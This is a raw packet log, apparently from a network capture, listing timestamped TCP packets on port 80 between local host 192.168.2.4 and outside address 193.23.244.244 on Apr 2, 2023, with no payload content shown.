Apr 2, 2023 09:49:21.781361103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781380892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781400919 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781402111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781423092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781426907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781443119 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781455994 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781462908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781483889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781503916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781510115 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781523943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781541109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781544924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781565905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781585932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781605959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781625986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781625986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781646013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781666994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781675100 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781687021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781706095 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781707048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781727076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781744957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781765938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781768084 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781786919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781793118 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781805992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781825066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781829119 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781845093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781858921 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781863928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781883001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781903028 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781908035 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781922102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781941891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781943083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.781961918 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.781981945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782001972 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782021999 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782021999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782042980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782063007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782071114 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782082081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782102108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782103062 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782121897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782138109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782141924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782162905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782177925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782182932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782202959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782217979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782222986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782243967 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782258034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782263994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782275915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782295942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782303095 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782315016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782334089 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782335043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782366991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782387972 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782409906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782430887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782430887 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782450914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782464027 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782470942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782490969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782505035 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782510042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782530069 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782550097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782555103 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782569885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782588959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782593012 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782608986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782624960 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782629013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782649994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782665968 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782670975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782700062 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782707930 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782720089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782738924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782758951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782759905 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782777071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782793045 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782798052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782816887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782835007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782835007 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782854080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782872915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782890081 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782892942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782912016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782918930 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782932043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782951117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782952070 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782969952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.782984018 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.782988071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783005953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783023119 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783025026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783045053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783063889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783083916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783102989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783107042 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783123016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783133984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783143044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783162117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783181906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783181906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783200026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783215046 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783219099 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783237934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783257008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783257008 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783274889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783293962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783312082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783330917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783335924 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783349991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783368111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783370972 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783387899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783409119 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783427954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783448935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783456087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783468008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783488035 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783493042 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783509016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783529043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783534050 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783549070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783567905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783569098 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783586979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783607006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783626080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783644915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783647060 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783664942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783677101 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783688068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783708096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783720970 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783727884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783746004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783766031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783786058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783792973 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783806086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783824921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783826113 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783843994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783847094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783862114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783879042 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783880949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783900023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783919096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783931017 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783937931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783957005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783960104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783976078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.783991098 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.783994913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784013987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784033060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784043074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784050941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784069061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784073114 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784086943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784106016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784106016 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784125090 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784142017 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784142971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784162998 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784178019 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784182072 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784199953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784216881 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784219027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784238100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784251928 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.784256935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.784290075 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.690958023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.719858885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.719894886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.719918966 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.719945908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.719969988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.719983101 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.719994068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720019102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720021009 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720042944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720043898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720068932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720089912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720104933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720129013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720151901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720151901 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720180035 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720202923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720227003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720232964 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720251083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720276117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720277071 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720299006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720303059 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720323086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720340967 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720345974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720370054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720395088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720407009 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720419884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720441103 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.720443010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720468044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.720483065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749371052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749433041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749465942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749468088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749500036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749531984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749542952 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749561071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749587059 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749593019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749623060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749650955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749670982 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749680042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749706984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749708891 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749735117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749761105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749787092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749788046 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749814987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749818087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749844074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749865055 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749872923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749900103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.749933958 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.749963045 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750010014 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750016928 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750046968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750093937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750117064 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750134945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750174046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750175953 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750214100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750253916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750284910 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750303984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750338078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750351906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750389099 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750432968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750464916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750485897 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750497103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750533104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750534058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750565052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750593901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750610113 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750622988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750648975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750650883 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750674963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750713110 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750726938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750758886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750782013 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750788927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750814915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750844002 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750844955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750880003 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750880957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750910997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750936985 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750966072 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.750967026 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.750996113 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751024008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751025915 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751055956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751065016 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751085043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751113892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751130104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751142979 CEST	80	49699	193.23.244.244	192.168.2.4
